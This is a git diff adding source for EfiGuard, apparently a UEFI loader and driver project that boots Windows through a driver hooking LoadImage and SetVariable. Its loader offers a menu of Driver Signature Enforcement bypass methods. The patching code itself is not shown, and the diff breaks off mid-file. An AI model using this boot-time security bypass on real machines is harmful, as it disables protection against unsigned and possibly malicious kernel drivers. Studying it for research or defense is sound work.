SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX KernelDebuggerInfoEx = { 0 }; + Status = NtQuerySystemInformation(SystemKernelDebuggerInformationEx, + &KernelDebuggerInfoEx, + sizeof(KernelDebuggerInfoEx), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemKernelDebuggerInformationEx: error %08X\n\n", Status); + else + Printf(L"SystemKernelDebuggerInformationEx:\n\t- DebuggerAllowed: %u\n\t- DebuggerEnabled: %u\n\t- DebuggerPresent: %u\n\n", + KernelDebuggerInfoEx.DebuggerAllowed, KernelDebuggerInfoEx.DebuggerEnabled, KernelDebuggerInfoEx.DebuggerPresent); + } + + const UCHAR KdDebuggerEnabled = SharedUserData->KdDebuggerEnabled; + Printf(L"SharedUserData->KdDebuggerEnabled: 0x%02X\n\n", KdDebuggerEnabled); + + if (RtlNtMajorVersion() > 6) + { + UCHAR KernelDebuggerFlags = 0; + Status = NtQuerySystemInformation(SystemKernelDebuggerFlags, + &KernelDebuggerFlags, + sizeof(KernelDebuggerFlags), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemKernelDebuggerFlags: error %08X\n\n", Status); + else + Printf(L"SystemKernelDebuggerFlags: 0x%02X\n\n", KernelDebuggerFlags); + + SYSTEM_CODEINTEGRITYPOLICY_INFORMATION CodeIntegrityPolicyInfo = { 0 }; + Status = NtQuerySystemInformation(SystemCodeIntegrityPolicyInformation, + &CodeIntegrityPolicyInfo, + sizeof(CodeIntegrityPolicyInfo), + nullptr); + if (!NT_SUCCESS(Status)) + Printf(L"SystemCodeIntegrityPolicyInformation: error %08X\n\n", Status); + else + Printf(L"SystemCodeIntegrityPolicyInformation:\n\t- Options: 0x%04X\n\t- HVCIOptions: 0x%04X\n\n", + CodeIntegrityPolicyInfo.Options, CodeIntegrityPolicyInfo.HVCIOptions); + } + + return Status; +} diff --git a/Application/Loader/Loader.c b/Application/Loader/Loader.c new file mode 100644 index 0000000..4d94ec6 --- /dev/null +++ b/Application/Loader/Loader.c @@ -0,0 +1,653 @@ +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +// +// Define whether the loader should prompt for driver configuration or not. +// If this is 0, the defaults are used and Windows will be booted with no user interaction. +// This can be overridden on the command line with -D CONFIGURE_DRIVER=[0|1] +// +#ifndef CONFIGURE_DRIVER +#define CONFIGURE_DRIVER 0 +#endif + + +// +// Paths to the driver to try +// +#define EFIGUARD_DRIVER_FILENAME L"EfiGuardDxe.efi" +STATIC CHAR16* mDriverPaths[] = { + L"\\EFI\\Boot\\" EFIGUARD_DRIVER_FILENAME, + L"\\EFI\\" EFIGUARD_DRIVER_FILENAME, + L"\\" EFIGUARD_DRIVER_FILENAME +}; + + +STATIC +BOOLEAN +EFIAPI +WaitForKey( + ) +{ + EFI_INPUT_KEY Key = { 0, 0 }; + UINTN Index = 0; + gBS->WaitForEvent(1, &gST->ConIn->WaitForKey, &Index); + gST->ConIn->ReadKeyStroke(gST->ConIn, &Key); + + return (BOOLEAN)(Key.ScanCode != SCAN_ESC); +} + +#if CONFIGURE_DRIVER + +STATIC +UINT16 +EFIAPI +PromptInput( + IN CONST UINT16* AcceptedChars, + IN UINTN NumAcceptedChars, + IN UINT16 DefaultSelection + ) +{ + UINT16 SelectedChar; + + while (TRUE) + { + SelectedChar = CHAR_NULL; + + EFI_INPUT_KEY Key = { 0, 0 }; + UINTN Index = 0; + gBS->WaitForEvent(1, &gST->ConIn->WaitForKey, &Index); + gST->ConIn->ReadKeyStroke(gST->ConIn, &Key); + + if (Key.UnicodeChar == CHAR_LINEFEED || Key.UnicodeChar == CHAR_CARRIAGE_RETURN) + { + SelectedChar = DefaultSelection; + break; + } + + for (UINTN i = 0; i < NumAcceptedChars; ++i) + { + if (Key.UnicodeChar == AcceptedChars[i]) + { + SelectedChar = Key.UnicodeChar; + break; + } + } + + if (SelectedChar != CHAR_NULL) + break; + } + + Print(L"%c\n\n", SelectedChar); + return SelectedChar; +} + +#endif + + +// +// Try to find a file by browsing each device +// +STATIC +EFI_STATUS +LocateFile( + IN CHAR16* ImagePath, + OUT EFI_DEVICE_PATH** DevicePath + ) +{ + *DevicePath = NULL; + + UINTN NumHandles; + EFI_HANDLE* Handles; + EFI_STATUS Status = gBS->LocateHandleBuffer(ByProtocol, + &gEfiSimpleFileSystemProtocolGuid, + NULL, + &NumHandles, + &Handles); + if (EFI_ERROR(Status)) + return Status; + + DEBUG((DEBUG_INFO, "[LOADER] Number of UEFI Filesystem Devices: %llu\r\n", NumHandles)); + + for (UINTN i = 0; i < NumHandles; i++) + { + EFI_FILE_IO_INTERFACE *IoDevice; + Status = gBS->OpenProtocol(Handles[i], + &gEfiSimpleFileSystemProtocolGuid, + (VOID**)&IoDevice, + gImageHandle, + NULL, + EFI_OPEN_PROTOCOL_GET_PROTOCOL); + if (Status != EFI_SUCCESS) + continue; + + EFI_FILE_HANDLE VolumeHandle; + Status = IoDevice->OpenVolume(IoDevice, &VolumeHandle); + if (EFI_ERROR(Status)) + continue; + + EFI_FILE_HANDLE FileHandle; + Status = VolumeHandle->Open(VolumeHandle, + &FileHandle, + ImagePath, + EFI_FILE_MODE_READ, + EFI_FILE_READ_ONLY); + if (!EFI_ERROR(Status)) + { + VolumeHandle->Close(FileHandle); + *DevicePath = FileDevicePath(Handles[i], ImagePath); + CHAR16 *PathString = ConvertDevicePathToText(*DevicePath, TRUE, TRUE); + DEBUG((DEBUG_INFO, "[LOADER] Found file at %S.\r\n", PathString)); + if (PathString != NULL) + FreePool(PathString); + break; + } + } + + FreePool(Handles); + + return Status; +} + +// +// Find the optimal available console output mode and set it if it's not already the current mode +// +STATIC +EFI_STATUS +EFIAPI +SetHighestAvailableMode( + VOID + ) +{ + INT32 MaxModeNum = 0; + UINTN Cols, Rows, MaxColsXRows = 0; + + for (INT32 ModeNum = 0; ModeNum < gST->ConOut->Mode->MaxMode; ModeNum++) + { + CONST EFI_STATUS Status = gST->ConOut->QueryMode(gST->ConOut, ModeNum, &Cols, &Rows); + if (EFI_ERROR(Status)) + continue; + + // Accept only modes where the total of (Rows * Columns) >= the previous known best + if ((Cols * Rows) >= MaxColsXRows) + { + MaxColsXRows = Cols * Rows; + MaxModeNum = ModeNum; + } + } + + if (gST->ConOut->Mode->Mode == MaxModeNum) + { + // We're already at the correct mode + return EFI_SUCCESS; + } + + return gST->ConOut->SetMode(gST->ConOut, MaxModeNum); +} + +// +// Connects all current system handles recursively. +// +STATIC +EFI_STATUS +EFIAPI +BdsLibConnectAllEfi( + VOID + ) +{ + UINTN HandleCount; + EFI_HANDLE *HandleBuffer; + CONST EFI_STATUS Status = gBS->LocateHandleBuffer(AllHandles, + NULL, + NULL, + &HandleCount, + &HandleBuffer); + if (EFI_ERROR(Status)) + return Status; + + for (UINTN Index = 0; Index < HandleCount; ++Index) + { + gBS->ConnectController(HandleBuffer[Index], + NULL, + NULL, + TRUE); + } + + if (HandleBuffer != NULL) + FreePool(HandleBuffer); + + return EFI_SUCCESS; +} + +// +// Connects all drivers to all controllers. +// +STATIC +VOID +EFIAPI +BdsLibConnectAllDriversToAllControllers( + VOID + ) +{ + EFI_STATUS Status; + + do + { + // + // Connect All EFI 1.10 drivers following EFI 1.10 algorithm + // + BdsLibConnectAllEfi(); + + // + // Check to see if it's possible to dispatch an more DXE drivers. + // The BdsLibConnectAllEfi () may have made new DXE drivers show up. + // If anything is Dispatched Status == EFI_SUCCESS and we will try + // the connect again. + // + Status = gDS->Dispatch(); + + } while (!EFI_ERROR(Status)); +} + +STATIC +EFI_STATUS +EFIAPI +StartAndConfigureDriver( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE* SystemTable + ) +{ + EFIGUARD_DRIVER_PROTOCOL* EfiGuardDriverProtocol; + EFI_DEVICE_PATH *DriverDevicePath = NULL; + + // + // Check if the driver is loaded + // + EFI_STATUS Status = gBS->LocateProtocol(&gEfiGuardDriverProtocolGuid, + NULL, + (VOID**)&EfiGuardDriverProtocol); + ASSERT((!EFI_ERROR(Status) || Status == EFI_NOT_FOUND)); + if (Status == EFI_NOT_FOUND) + { + Print(L"[LOADER] Locating and loading driver file %S...\r\n", EFIGUARD_DRIVER_FILENAME); + for (UINT32 i = 0; i < ARRAY_SIZE(mDriverPaths); ++i) + { + Status = LocateFile(mDriverPaths[i], &DriverDevicePath); + if (!EFI_ERROR(Status)) + break; + } + if (EFI_ERROR(Status)) + { + Print(L"[LOADER] Failed to find driver file %S.\r\n", EFIGUARD_DRIVER_FILENAME); + goto Exit; + } + + EFI_HANDLE DriverHandle = NULL; + Status = gBS->LoadImage(FALSE, // Request is not from boot manager + ImageHandle, + DriverDevicePath, + NULL, + 0, + &DriverHandle); + if (EFI_ERROR(Status)) + { + Print(L"[LOADER] LoadImage failed: %llx (%r).\r\n", Status, Status); + goto Exit; + } + + Status = gBS->StartImage(DriverHandle, NULL, NULL); + if (EFI_ERROR(Status)) + { + Print(L"[LOADER] StartImage failed: %llx (%r).\r\n", Status, Status); + goto Exit; + } + + Status = gBS->LocateProtocol(&gEfiGuardDriverProtocolGuid, + NULL, + (VOID**)&EfiGuardDriverProtocol); + if (EFI_ERROR(Status)) + { + Print(L"[LOADER] LocateProtocol failed: %llx (%r).\r\n", Status, Status); + goto Exit; + } + } + else + { + Print(L"[LOADER] The driver is already loaded.\r\n"); + Status = EFI_ALREADY_STARTED; + goto Exit; + } + +#if CONFIGURE_DRIVER + // + // Interactive driver configuration + // + Print(L"\r\nChoose the type of DSE bypass to use, or press ENTER for default:\r\n" + L" [1] No DSE bypass\r\n [2] Boot time DSE bypass\r\n [3] Runtime SetVariable hook (default)\r\n "); + CONST UINT16 AcceptedDseBypasses[] = { L'1', L'2', L'3' }; + CONST UINT16 SelectedDseBypass = PromptInput(AcceptedDseBypasses, + sizeof(AcceptedDseBypasses) / sizeof(UINT16), + L'3'); + + Print(L"Wait for a keypress to continue after each patch stage? (for debugging)\n" + L" [1] Yes\r\n [2] No (default)\r\n "); + CONST UINT16 YesNo[] = { L'1', L'2' }; + CONST UINT16 SelectedWaitForKeyPress = PromptInput(YesNo, + sizeof(YesNo) / sizeof(UINT16), + L'2'); + + EFIGUARD_CONFIGURATION_DATA ConfigData; + if (SelectedDseBypass == L'1') + ConfigData.DseBypassMethod = DSE_DISABLE_NONE; + else if (SelectedDseBypass == L'2') + ConfigData.DseBypassMethod = DSE_DISABLE_AT_BOOT; + else + ConfigData.DseBypassMethod = DSE_DISABLE_SETVARIABLE_HOOK; + ConfigData.WaitForKeyPress = (BOOLEAN)(SelectedWaitForKeyPress == L'1'); + + // + // Send the configuration data to the driver + // + Status = EfiGuardDriverProtocol->Configure(&ConfigData); + + if (EFI_ERROR(Status)) + Print(L"[LOADER] Driver Configure() returned error %llx (%r).\r\n", Status, Status); +#endif + +Exit: + if (DriverDevicePath != NULL) + FreePool(DriverDevicePath); + + return Status; +} + +// +// Attempt to boot each Windows boot option in the BootOptions array. +// This function is a combined and simplified version of BootBootOptions (BdsDxe) and EfiBootManagerBoot (UefiBootManagerLib), +// except for the fact that we are of course not in the BDS phase and also not a driver or the platform boot manager. +// The Windows boot manager doesn't have to know about all this, that would only confuse it +// +STATIC +BOOLEAN +TryBootOptionsInOrder( + IN EFI_BOOT_MANAGER_LOAD_OPTION *BootOptions, + IN UINTN BootOptionCount, + IN UINT16 CurrentBootOptionIndex, + IN BOOLEAN OnlyBootWindows + ) +{ + // + // Iterate over the boot options 'in BootOrder order' + // + EFI_DEVICE_PATH_PROTOCOL* FullPath; + for (UINTN Index = 0; Index < BootOptionCount; ++Index) + { + // + // This is us + // + if (Index == CurrentBootOptionIndex) + continue; + + // + // No LOAD_OPTION_ACTIVE, no load + // + if ((BootOptions[Index].Attributes & LOAD_OPTION_ACTIVE) == 0) + continue; + + // + // Ignore LOAD_OPTION_CATEGORY_APP entries + // + if ((BootOptions[Index].Attributes & LOAD_OPTION_CATEGORY) != LOAD_OPTION_CATEGORY_BOOT) + continue; + + // + // Filter out non-Windows boot entries. + // Apply some heuristics based on the device path, which must end in "bootmgfw.efi" or "bootx64.efi". + // In the latter case we may get false positives, but for some types of boots (WinPE, Windows To Go, + // and that VM product from Larry Ellison that still can't emulate NVRAM properly), the name will + // always be bootx64.efi, so this can't be avoided. + // + // For the common case, a simpler way would have been to check if the description is "Windows Boot Manager", + // but it turns out that we need the full path anyway to LoadImage the file with BootPolicy = TRUE. + // + BOOLEAN MaybeWindows = FALSE; + UINTN FileSize; + VOID* FileBuffer = EfiBootManagerGetLoadOptionBuffer(BootOptions[Index].FilePath, &FullPath, &FileSize); + if (FileBuffer != NULL) + FreePool(FileBuffer); + + // EDK2's EfiBootManagerGetLoadOptionBuffer will sometimes give a NULL "full path" + // from an originally non-NULL file path. If so, swap it back (and don't free it). + if (FullPath == NULL) + FullPath = BootOptions[Index].FilePath; + + // Get the text representation of the device path and check it for our suspects + CHAR16* ConvertedPath = ConvertDevicePathToText(FullPath, FALSE, FALSE); + if (ConvertedPath != NULL && + (StrStr(ConvertedPath, L"bootmgfw.efi") != NULL || StrStr(ConvertedPath, L"BOOTMGFW.EFI") != NULL || + StrStr(ConvertedPath, L"bootx64.efi") != NULL || StrStr(ConvertedPath, L"BOOTX64.EFI") != NULL)) + { + MaybeWindows = TRUE; + } + + if (ConvertedPath != NULL) + FreePool(ConvertedPath); + + if (OnlyBootWindows && !MaybeWindows) + { + if (FullPath != BootOptions[Index].FilePath) + FreePool(FullPath); + + // Not Windows; skip this entry + continue; + } + + // + // Boot this image. + // + // DO NOT: call EfiBootManagerBoot(BootOption) to 'simplify' this process. + // The driver will not work in this case due to EfiBootManagerBoot calling BmSetMemoryTypeInformationVariable(), + // which performs a warm reset of the system if, for example, the category of the current boot option changed + // from 'app' to 'boot'. Which is precisely what we are doing... + // + // Change the BootCurrent variable to the option number for our boot selection + UINT16 OptionNumber = (UINT16)BootOptions[Index].OptionNumber; + EFI_STATUS Status = gRT->SetVariable(EFI_BOOT_CURRENT_VARIABLE_NAME, + &gEfiGlobalVariableGuid, + EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS, + sizeof(UINT16), + &OptionNumber); + ASSERT_EFI_ERROR(Status); + + // Signal the EVT_SIGNAL_READY_TO_BOOT event + EfiSignalEventReadyToBoot(); + + // So again, DO NOT call this abortion: + //BmSetMemoryTypeInformationVariable((BOOLEAN)((BootOption->Attributes & LOAD_OPTION_CATEGORY) == LOAD_OPTION_CATEGORY_BOOT)); + + // Ensure the image path is connected end-to-end by Dispatch()ing any required drivers through DXE services + EfiBootManagerConnectDevicePath(BootOptions[Index].FilePath, NULL); + + // Instead of creating a ramdisk and reading the file into it (¿que?), just pass the path we saved earlier. + // This is the point where the driver kicks in via its LoadImage hook. + EFI_HANDLE ImageHandle = NULL; + Status = gBS->LoadImage(TRUE, + gImageHandle, + FullPath, + NULL, + 0, + &ImageHandle); + + if (FullPath != BootOptions[Index].FilePath) + FreePool(FullPath); + + if (EFI_ERROR(Status)) + { + Print(L"LoadImage error %llx (%r)\r\n", Status, Status); + continue; + } + + // Get loaded image info + EFI_LOADED_IMAGE_PROTOCOL* ImageInfo; + Status = gBS->OpenProtocol(ImageHandle, + &gEfiLoadedImageProtocolGuid, + (VOID**)&ImageInfo, + gImageHandle, + NULL, + EFI_OPEN_PROTOCOL_GET_PROTOCOL); + ASSERT_EFI_ERROR(Status); + + // Set image load options from the boot option + ImageInfo->LoadOptionsSize = BootOptions[Index].OptionalDataSize; + ImageInfo->LoadOptions = BootOptions[Index].OptionalData; + + // "Clean to NULL because the image is loaded directly from the firmware's boot manager." (EDK2) Good call, I agree + ImageInfo->ParentHandle = NULL; + + // Enable the Watchdog Timer for 5 minutes before calling the image + gBS->SetWatchdogTimer(5 * 60, 0x0000, 0x00, NULL); + + // Start the image and set the return code in the boot option status + Status = gBS->StartImage(ImageHandle, + &BootOptions[Index].ExitDataSize, + &BootOptions[Index].ExitData); + BootOptions[Index].Status = Status; + if (EFI_ERROR(Status)) + { + Print(L"StartImage error %llx (%r)\r\n", Status, Status); + continue; + } + + // + // Success. Code below is never executed + // + + // Clear the watchdog timer after the image returns + gBS->SetWatchdogTimer(0x0000, 0x0000, 0x0000, NULL); + + // Clear the BootCurrent variable + gRT->SetVariable(L"BootCurrent", + &gEfiGlobalVariableGuid, + 0, + 0, + NULL); + + if (BootOptions[Index].Status == EFI_SUCCESS) + return TRUE; + } + + // All boot attempts failed, or no suitable entries were found + return FALSE; +} + +EFI_STATUS +EFIAPI +UefiMain( + IN EFI_HANDLE ImageHandle, + IN EFI_SYSTEM_TABLE* SystemTable + ) +{ + // + // Connect all drivers to all controllers + // + BdsLibConnectAllDriversToAllControllers(); + + // + // Set the highest available console mode and clear the screen + // + SetHighestAvailableMode(); + gST->ConOut->ClearScreen(gST->ConOut); + + // + // Turn off the watchdog timer + // + gBS->SetWatchdogTimer(0, 0, 0, NULL); + + // + // Enable cursor + // + gST->ConOut->EnableCursor(gST->ConOut, TRUE); + + // + // Locate, load, start and configure the driver + // + CONST EFI_STATUS DriverStatus = StartAndConfigureDriver(ImageHandle, SystemTable); + if (DriverStatus == EFI_ALREADY_STARTED) + return EFI_SUCCESS; + + if (EFI_ERROR(DriverStatus)) + { + Print(L"\r\nERROR: driver load failed with status %llx (%r).\r\n" + L"Press any key to continue, or press ESC to return to the firmware or shell.\r\n", + DriverStatus, DriverStatus); + if (!WaitForKey()) + { + return DriverStatus; + } + } + + // + // Start the "boot through" procedure to boot Windows. + // + // First obtain our own boot option number, since we don't want to boot ourselves again + UINT16 CurrentBootOptionIndex; + UINT32 Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS; + UINTN Size = sizeof(CurrentBootOptionIndex); + CONST EFI_STATUS Status = gRT->GetVariable(EFI_BOOT_CURRENT_VARIABLE_NAME, + &gEfiGlobalVariableGuid, + &Attributes, + &Size, + &CurrentBootOptionIndex); + if (EFI_ERROR(Status)) + { + CurrentBootOptionIndex = 0xFFFF; + Print(L"WARNING: failed to query the current boot option index variable.\r\n" + L"This could lead to the current device being booted recursively.\r\n" + L"If you booted from a removable device, it is recommended that you remove it now.\r\n" + L"\r\nPress any key to continue...\r\n"); + WaitForKey(); + } + + // Query all boot options, and try each following the order set in the "BootOrder" variable, except + // (1) Do not boot ourselves again, and + // (2) The description or filename must indicate the boot option is some form of Windows. + UINTN BootOptionCount; + EFI_BOOT_MANAGER_LOAD_OPTION* BootOptions = EfiBootManagerGetLoadOptions(&BootOptionCount, LoadOptionTypeBoot); + BOOLEAN BootSuccess = TryBootOptionsInOrder(BootOptions, + BootOptionCount, + CurrentBootOptionIndex, + TRUE); + if (!BootSuccess) + { + // We did not find any Windows boot entry; retry without the "must be Windows" restriction. + BootSuccess = TryBootOptionsInOrder(BootOptions, + BootOptionCount, + CurrentBootOptionIndex, + FALSE); + } + EfiBootManagerFreeLoadOptions(BootOptions, BootOptionCount); + + if (BootSuccess) + return EFI_SUCCESS; + + // We should never reach this unless something is seriously wrong (no boot device / partition table corrupted / catastrophic boot manager failure...) + Print(L"Failed to boot anything. This is super bad!\r\n" + L"Press any key to return to the firmware or shell,\r\nwhich will surely fix this and not make things worse.\r\n"); + WaitForKey(); + + gBS->Exit(gImageHandle, EFI_SUCCESS, 0, NULL); + + return EFI_SUCCESS; +} diff --git a/Application/Loader/Loader.inf b/Application/Loader/Loader.inf new file mode 100644 index 0000000..1e8e902 --- /dev/null +++ b/Application/Loader/Loader.inf @@ -0,0 +1,64 @@ +[Defines] + INF_VERSION = 0x00010019 + BASE_NAME = Loader + FILE_GUID = FADCFFF6-E60C-4684-A241-B203D6E6686D + MODULE_TYPE = UEFI_APPLICATION + VERSION_STRING = 1.0 + + ENTRY_POINT = UefiMain + +[Sources] + Loader.c + +[Packages] + MdePkg/MdePkg.dec + EfiGuardPkg/EfiGuardPkg.dec + MdeModulePkg/MdeModulePkg.dec + +[LibraryClasses] + UefiApplicationEntryPoint + UefiBootServicesTableLib + DebugLib + UefiLib + DevicePathLib + PrintLib + UefiBootManagerLib + +[Guids] + ## SOMETIMES_PRODUCES ## Variable:L"BootCurrent" (The boot option of current boot) + gEfiGlobalVariableGuid + gEfiEventReadyToBootGuid ## SOMETIMES_PRODUCES + gEfiHobListGuid ## CONSUMES + gEfiDxeServicesTableGuid ## CONSUMES + gEfiFileInfoGuid ## CONSUMES + +[Protocols] + gEfiGuardDriverProtocolGuid ## CONSUMES + gEfiLoadedImageProtocolGuid ## CONSUMES + gEfiDevicePathProtocolGuid ## CONSUMES + gEfiDevicePathToTextProtocolGuid ## CONSUMES + gEfiDevicePathUtilitiesProtocolGuid ## CONSUMES + gEfiSimpleFileSystemProtocolGuid ## CONSUMES + gEfiLoadFileProtocolGuid ## CONSUMES + gEfiBlockIoProtocolGuid ## CONSUMES + gEfiRamDiskProtocolGuid ## CONSUMES + gEfiHiiStringProtocolGuid ## CONSUMES + gEfiHiiDatabaseProtocolGuid ## CONSUMES + gEfiHiiConfigRoutingProtocolGuid ## CONSUMES + gEfiHiiFontProtocolGuid ## CONSUMES + gEfiHiiImageProtocolGuid ## CONSUMES + gEfiPciIoProtocolGuid ## CONSUMES + gEfiUsbIoProtocolGuid ## CONSUMES + gEfiFirmwareVolume2ProtocolGuid ## CONSUMES + gEfiSimpleTextInProtocolGuid ## CONSUMES + gEfiSimpleTextOutProtocolGuid ## CONSUMES + +[BuildOptions.Common] + *:DEBUG_*_*_PP_FLAGS = -D EFI_DEBUG + *:DEBUG_*_*_CC_FLAGS = -D EFI_DEBUG + + *:RELEASE_*_*_CC_FLAGS = -D MDEPKG_NDEBUG + +[BuildOptions.common.UEFI_APPLICATION] + MSFT:*_*_*_DLINK_FLAGS = /SUBSYSTEM:EFI_APPLICATION,1.0 + INTEL:*_*_*_DLINK_FLAGS = /SUBSYSTEM:EFI_APPLICATION,1.0 diff --git a/Application/Loader/Loader.vcxproj b/Application/Loader/Loader.vcxproj new file mode 100644 index 0000000..9b8c441 --- /dev/null +++ b/Application/Loader/Loader.vcxproj @@ -0,0 +1,40 @@ + + + + + Release + x64 + + + + Win32Proj + {0E4BAB8F-E6E0-47A8-8E99-8D451839967E} + + + + Application + false + $(DefaultPlatformToolset) + true + Unicode + + + + + + + CONFIGURE_DRIVER=1;%(PreprocessorDefinitions) + $(SolutionDir)Include + + + UefiApplicationEntryPoint.lib;BaseMemoryLib.lib;%(AdditionalDependencies) + EFI Application + + + + + + + + + \ No newline at end of file diff --git a/Application/Loader/Loader.vcxproj.filters b/Application/Loader/Loader.vcxproj.filters new file mode 100644 index 0000000..9498c8d --- /dev/null +++ b/Application/Loader/Loader.vcxproj.filters @@ -0,0 +1,26 @@ + + + + + {2C3B8C5F-45D8-45DC-89D3-F9FB7889C9DA} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {548AA1C9-5601-4F15-B01D-53DC20744039} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {7817a5d9-dbec-4278-8dcb-4458096bdbbf} + + + + + Header Files\Protocol + + + + + Source Files + + + \ No newline at end of file diff --git a/EfiGuard.props b/EfiGuard.props new file mode 100644 index 0000000..c31b390 --- /dev/null +++ b/EfiGuard.props @@ -0,0 +1,84 @@ + + + + + $(SolutionDir).. + + + + obj\$(Platform)-$(Configuration)\ + .efi + $(EDK_PATH)\MdePkg\Include;$(EDK_PATH)\MdePkg\Include\X64;$(EDK_PATH)\MdeModulePkg\Include;$(EDK_PATH)\ShellPkg\Include + $(SolutionDir)..\..\VisualUefi\EDK-II\$(Platform)\$(Configuration) + + + $([Microsoft.Build.Utilities.ToolLocationHelper]::GetLatestSDKTargetPlatformVersion('Windows', '10.0')) + + + $(SolutionDir)..\..\VisualUefi\debugger\qemu.exe + -name "VisualUEFI Debugger" -drive file=OVMF_CODE-need-smm.fd,if=pflash,format=raw,unit=0,readonly=on -drive file=OVMF_VARS-need-smm.fd,if=pflash,format=raw,unit=1 -drive file=fat:rw:$(OutDir),media=disk,if=virtio,format=raw -drive file=UefiShell.iso,format=raw -m 512 -machine q35,smm=on -nodefaults -vga std -global driver=cfi.pflash01,property=secure,value=on -global ICH9-LPC.disable_s3=1 + $(SolutionDir)..\..\VisualUefi\debugger + Script + WindowsLocalDebugger + + + + VISUALUEFI;%(PreprocessorDefinitions) + true + Level4 + true + true + MinSpace + true + true + AnySuitable + false + false + false + true + $(SolutionDir)..\..\VisualUefi\EDK-II\BaseLib\vshacks.h + + + true + false + + /Gs32768 /Gw %(AdditionalOptions) + + + Caret + + + true + UefiHiiLib.lib;UefiHiiServicesLib.lib;UefiSortLib.lib;UefiShellLib.lib;GlueLib.lib;BaseLib.lib;BaseDebugPrintErrorLevelLib.lib;BasePrintLib.lib;UefiLib.lib;UefiBootServicesTableLib.lib;UefiRuntimeServicesTableLib.lib;UefiDevicePathLibDevicePathProtocol.lib;UefiDebugLibConOut.lib;UefiMemoryLib.lib;UefiMemoryAllocationLib.lib;BaseSynchronizationLib.lib;UefiFileHandleLib.lib + DebugFull + EFI Boot Service Driver + Driver + true + + UseLinkTimeCodeGeneration + 0 + 4096 + true + false + + + + + + + + + /SECTION:.xdata,D /SECTION:.pdata,D /OPT:ICF=10 /IGNORE:4254 /IGNORE:4281 /NOVCFEATURE /NOCOFFGRPINFO /PDBALTPATH:%_PDB% %(AdditionalOptions) + .rdata=.text + + + EfiMain + + + + + $(EDK_PATH) + true + + + diff --git a/EfiGuard.sln b/EfiGuard.sln new file mode 100644 index 0000000..6152c43 --- /dev/null +++ b/EfiGuard.sln @@ -0,0 +1,27 @@ +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.26430.15 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EfiGuardDxe", "EfiGuardDxe\EfiGuardDxe.vcxproj", "{D7484EBA-6357-4D81-B355-066E28D5DF72}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loader", "Application\Loader\Loader.vcxproj", "{0E4BAB8F-E6E0-47A8-8E99-8D451839967E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EfiDSEFix", "Application\EfiDSEFix\src\EfiDSEFix.vcxproj", "{B2924789-9912-4B6F-8F7B-53240AC3BA0E}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D7484EBA-6357-4D81-B355-066E28D5DF72}.Release|x64.ActiveCfg = Release|x64 + {0E4BAB8F-E6E0-47A8-8E99-8D451839967E}.Release|x64.ActiveCfg = Release|x64 + {B2924789-9912-4B6F-8F7B-53240AC3BA0E}.Release|x64.ActiveCfg = Release|x64 + {B2924789-9912-4B6F-8F7B-53240AC3BA0E}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {FF5CF53A-DB6B-415D-9F6C-135AFA73B8FB} + EndGlobalSection +EndGlobal diff --git a/EfiGuardDxe/EfiGuardDxe.c b/EfiGuardDxe/EfiGuardDxe.c new file mode 100644 index 0000000..df2528f --- /dev/null +++ b/EfiGuardDxe/EfiGuardDxe.c @@ -0,0 +1,639 @@ +#include "EfiGuardDxe.h" + +#include +#include +#include +#include +#include + +// +// EFI Driver Version Protocol +// +EFI_DRIVER_SUPPORTED_EFI_VERSION_PROTOCOL gEfiGuardSupportedEfiVersion = +{ + sizeof(EFI_DRIVER_SUPPORTED_EFI_VERSION_PROTOCOL), + EFI_2_10_SYSTEM_TABLE_REVISION +}; + +// +// EfiGuard driver protocol +// +EFI_STATUS +EFIAPI +DriverConfigure( + IN EFIGUARD_CONFIGURATION_DATA* ConfigurationData + ); + +EFIGUARD_DRIVER_PROTOCOL gEfiGuardDriverProtocol = +{ + DriverConfigure +}; + +// +// Default driver configuration used if Configure() is not called +// +EFIGUARD_CONFIGURATION_DATA gDriverConfig = { + DSE_DISABLE_SETVARIABLE_HOOK, // DseBypassMethod + FALSE // WaitForKeyPress +}; + +// +// Bootmgfw.efi handle +// +EFI_HANDLE gBootmgfwHandle = NULL; + +// +// EFI runtime globals +// +EFI_EVENT gEfiExitBootServicesEvent = NULL; +BOOLEAN gEfiAtRuntime = FALSE; +EFI_EVENT gEfiVirtualNotifyEvent = NULL; +BOOLEAN gEfiGoneVirtual = FALSE; + +// +// Original gBS->LoadImage pointer +// +STATIC EFI_IMAGE_LOAD mOriginalLoadImage = NULL; + +// +// Original gRT->SetVariable pointer +// +STATIC EFI_SET_VARIABLE mOriginalSetVariable = NULL; + +#if defined(MDE_CPU_X64) +#define MM_SYSTEM_RANGE_START (VOID*)(0xFFFF080000000000) // Windows XP through 7 value. On newer systems this is a bit higher, but not that much +#elif defined(MDE_CPU_IA32) +#define MM_SYSTEM_RANGE_START (VOID*)(0x80000000) +#endif + +// Title (adapted from original by Dude719) +#define EFIGUARD_TITLE1 L"\r\n ██╗ ██╗ ██╗ ██╗ ██╗ " \ + L"\r\n ████╗ ████║ ██████╗████████╗████████╗╚═╝ " \ + L"\r\n ██║ ██╔═██║██╔════██╗ ██╔══╝ ██╔══╝██╗ " \ + L"\r\n ██║ ╚═╝ ██║██║ ██║ ██║ ██║ ██║ " +#define EFIGUARD_TITLE2 L"\r\n ██║ ██║ ╚███████║ █████╗ █████╗██║ " \ + L"\r\n ╚═╝ ╚═╝ 